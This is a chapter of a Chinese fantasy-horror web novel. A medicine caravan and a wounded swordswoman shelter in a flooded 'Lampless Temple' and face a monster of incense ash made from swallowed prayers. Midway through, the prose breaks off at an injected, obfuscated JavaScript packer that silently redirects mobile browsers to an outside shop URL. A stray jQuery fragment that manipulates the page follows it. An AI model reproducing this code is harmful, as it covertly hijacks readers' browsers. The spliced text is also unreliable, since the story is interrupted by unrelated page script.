无灯寺的门，是被洪水泡胀的。
许槐和阿石用肩撞了三次，门缝才挤出一股陈腐湿气。腐叶、香灰与某种久置药渣的味道混在一起，从黑暗里迎面涌来。门轴拖过青砖，发出的声响又长又涩，像一个喉咙伤透的人勉强开口。
寺内比外面更冷。
正殿屋顶塌了一角，雨水从破洞垂成斜线，落在佛前空荡荡的莲座上。原本供奉佛像的位置只留一双石足，足踝以上被整齐凿去，断口覆着黑灰。四面墙壁全被烟熏过，却找不到灯台和烛泪，连窗纸也涂着厚厚一层泥，像有人执意不让一丝光进入。
药队并不是最先到的。
东侧廊下挤着十几个无灯县百姓，衣裳全被雨打湿。一个抱孩子的妇人靠着柱子发抖，孩子脸颊烧得通红；两个木匠模样的男人守着一只破箱笼；角落里坐着一名白发老妪，怀里紧紧抱着几块发霉木牌。众人中间站着个穿蓑衣的中年男人，腰挂铜钥匙，自称石门村里正曹有德。
曹有德看见药箱，先是眼睛一亮，随即又戒备地挡在廊口。
“寺里不能点灯。”曹有德说道，“你们要留下，先把火折子交出来。”
许槐皱眉：“药材受了潮，不生火怎么烘？孩子高热，也要烧水煎药。”
“无灯寺的规矩就是无灯。”曹有德回答，“十二年前有人夜里点烛，第二天寺里死了四十七口。你不信邪，也别带着我们一起死。”
“四十七口人是死于疫病，还是死于点灯？”周迟问道。
曹有德避开她的目光：“老一辈都这样传。”
周迟没有与他争。她径直走到抱孩子的妇人面前，先报姓名，再问病程。妇人叫陈蕙，带着儿子从山下逃水，孩子已经烧了两日。周迟摸过脉，判断是淋雨后发热，并无疫相，便让许槐取紫苏、生姜和少量退热草。
“不点灯可以，火总要生。”周迟对曹有德说道，“你若怕，便在院里看着。我只烧一炉，遮住火光。”
曹有德仍想阻止，江照夜将铁剑横放在炉边。
“火由我守。”江照夜说道，“若有东西循光而来，我先挡。”
“你是谁？”曹有德问道。
“过路人。”江照夜回答。
曹有德盯着她看了片刻，目光扫过剑身外的粗布与她不稳的右腿，大约既不相信一个伤者能挡妖，也不愿承担孩子烧死的责任。他最终解下装火折的布袋，却没有交给江照夜，而是亲自坐到炉旁。
周迟用倒扣的铁锅遮住大半火光，只留通风的细缝。微红的亮色在锅底呼吸，照出每个人鞋边一圈湿水。殿内仍旧昏暗，人的面孔浮在阴影中，眼睛因此显得格外深。
江照夜先绕寺走了一遍。
西厢房堆着朽烂经卷，字迹全被水洗去；后院有一口封死的井，井口压着七层青砖，每层砖上都刻着一个“静”字。南墙外排列着三十余间狭小禅房，门从外面钉死，窗格却有被指甲抓过的痕迹。
她蹲下查看时，右腿牵出一阵钝痛。疼痛让呼吸短促，也让她察觉地面有极细的震动。那震动不是来自暴雨，而是从每扇门后分别传来，急缓不同，像许多人仍在里面以指节敲墙。
江照夜用剑柄抵住地砖。
灰暗线条从砖缝浮起，断断续续延伸到正殿。它们不像桃溪村那根功劳命线，没有金光，也没有将人推向某个中心。每一道灰线都很弱，有的止于门槛，有的缠着残经，有的只剩半寸，仿佛记录写到一半便被撕掉。
她正要细看，阿石从廊柱后叫她。
“江姑娘，这里有字。”阿石说道。
他掀开一张腐烂蒲团。蒲团下的青砖密密刻着人名，有些只有姓，有些连姓也没有，只写“二丫”“阿顺”“卖饼的老何”。刀痕深浅不一，最下面一行却被后来添上的灰浆抹平。
白发老妪不知何时跟了过来，看见那些字，忽然将怀里的木牌抱得更紧。
“不能念。”老妪说道，“念了它就知道你记得。”
“它是谁？”江照夜问道。
老妪嘴唇发抖，却不回答。曹有德快步赶来，一脚把蒲团踢回原处。
“严婆疯了许多年，她的话不能信。”曹有德说道，“当年寺里收治疫民，死者太多，胡乱刻几个名字不奇怪。”
“既然不奇怪，为什么要抹掉？”江照夜问道。
曹有德面色沉下去：“外乡人，借宿便借宿，别翻旧账。”
“我没有翻账。”江照夜说道，“账已经在地上，只是有人踩着它。”
雨声蓦地一重。
正殿方向传来铁锅翻倒的巨响。众人赶回去时，炉火已经灭了，锅底没有水迹，反而蒙着一层细黑香灰。陈蕙抱着孩子缩在墙边，唐婶举着车鞭挡在她面前。原本放在廊下的一箱退热药不见了，只剩两道湿脚印，一直延伸到那双残缺石足前。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929932|213611||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脚印在那里消失。
“谁动了药？”许槐厉声问道。
木匠、村民和药队彼此看着。没有人承认。曹有德下意识摸向腰间钥匙，发现钥匙上多了一缕黑发。
江照夜走到石足前。
莲座内部是空的，侧面留着一道被香灰糊住的缝。她用剑鞘刮开灰层，露出一只小门。门后没有药箱，只有数百张卷紧的黄纸。每张纸上都写着祈求：求药、求粮、求官府开门、求把死者名字送回家。
纸张末尾盖着同一枚朱印——已纳。
愿望被收下了，却没有一件写明是否兑现。
严婆忽然在后面哭起来：“灯一亮，他们就烧纸。纸一烧，名字就没了。”
曹有德厉声喝止：“闭嘴！”
江照夜没有看他，只抽出最外层一张祈愿纸。纸上的墨迹早已晕散，但她指腹触到纸面时，背后铁剑猛地一震。
一个女人的声音贴着耳骨响起：“我交了簪子。”
另一个男人的声音紧接着说：“药没有来。”
更多声音从四面涌来。有的咒骂曹家，有的咒骂药商，有的只求放孩子出去。它们互相覆盖，没有秩序，也没有同一种愿望。江照夜松开黄纸，声音却没有消失，反而沿手臂钻进肩胛，停在铁剑上。
粗布下面传出沙沙轻响，像无数指甲在刮一扇门。
“所有人离莲座远些。”江照夜说道。
许槐立刻带药队后退，周迟则先将患病孩子抱到墙边。曹有德想去抢那些黄纸，严婆忽然扑上去咬住他的手。两人拉扯间，莲座底部传出一声饱嗝。
不是人的声音。
一股浓黑香灰从石足之间涌出，在半空聚成弯曲的脊背。它没有固定面孔，灰里轮流浮出老人、孩子、妇人与病人的眼睛；每张嘴都在说不同的话，最后却被一条过长的舌头卷进同一个喉咙。
殿门在风里轰然合拢。
曹有德腰间所有钥匙同时响了起来。
黑影抬起头，十几张嘴重叠着喊出一句：“把门关上。”
那句话落下时，南侧三十余间禅房齐齐传来撞门声。
江照夜拔出无名铁剑。
凡铁离开粗布，没有剑光，只映出锅底尚未完全熄灭的一点暗红。她看见灰线上所有残缺名字都在颤动，却没有一条主动汇向自己。
真正扑过来的，是那团把许多声音吞进一个喉咙的东西。